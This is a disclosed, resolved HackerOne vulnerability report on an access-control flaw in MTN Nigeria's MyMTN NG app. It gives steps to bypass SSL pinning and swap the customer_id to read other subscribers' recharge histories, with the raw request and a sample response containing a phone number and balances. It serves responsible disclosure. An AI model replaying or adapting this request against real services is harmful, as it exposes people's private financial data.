Broken Access Control leads to disclosure of transaction history via /v2/rechargeTransactionHistory endpoint

Disclosed: 2025-03-02 14:56:10 By hafiz-ng To mtn_group
High
Vulnerability Details
An API endpoint discovered on the MyMTN NG mobile app fails to adequately enforce authorization and authentication mechanisms. Essentially, it allows a bad actor to access the transaction history details for other victims which include `rechargeDate`, `amountAfter`, `amountBefore` and `transactionId` due to an insufficient authorization check. ## Steps To Reproduce: 1. Log into the **myMTN NG** mobile app. 2. Set up your proxy tool to intercept the mobile API traffic and bypass the SSL pinning mechanism. 3. Visit the **transaction history** section within the app and intercept the request with your proxy tool. 4. Replace the `customer_id` field to any arbitrary MTN number to disclose transaction details of the victim. ## Supporting Material/References: {{F3636238}} **Request to vulnerable endpoint** ```POST /api/v2/rechargeTransactionHistory HTTP/2 Host: mtn-dxl-transaction-core.mymtnnxgeaprod.mtnnigeria.net Content-Type: application/json Access-Control-Allow-Origin: * Accept: application/json Authorization: Bearer X-Country-Code: nga Msisdn-Code: 234 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Length: 77 User-Agent: myMTN%20NG/14 CFNetwork/1220.1 Darwin/20.3.0 {"customer_id":"2347032233323","start_date":"20240727","end_date":"20240927"} ``` **Response** ``` {"sequenceNumber":"b5fb6af-bc59-57dd-a","data":[{"rechargeDate":"20240730152439","amountAfter":"878190.940000","adjustmentType":"RECHARGE","amountBefore":"828190.940000","subscriberId":"2347032233323","rechargeHistory":[{"payType":"VTU","rechargeAmount":"50000.0","description":"VTU"}],"transaction":"VTU"},{"rechargeDate":"20240730152330","amountAfter":"828190.940000","adjustmentType":"RECHARGE","amountBefore":"778190.940000","subscriberId":"2347032233323","rechargeHistory":[{"payType":"VTU","rechargeAmount":"50000.0","description":"VTU"}],"transaction":"VTU"}],"transaction":"VTU"}],"success":true,"resultCode":"0000","links":[],"resultDescription":"Success","transactionId":"20240927141033000481","status":200,"statusCode":200}``` ## Impact The potential impact this vulnerability may have on MTN NG can be summarized as follows: - The impact of this exposure of PII can be devastating to your company, with fallout ranging from recovery costs to decreased customer trust. - Attackers with access to this private information about a victim can use this information to carryout other nefarious activities.
Actions
View on HackerOne
Report Stats
  • Report ID: 2746709
  • State: Closed
  • Substate: resolved
  • Upvotes: 3
Share this report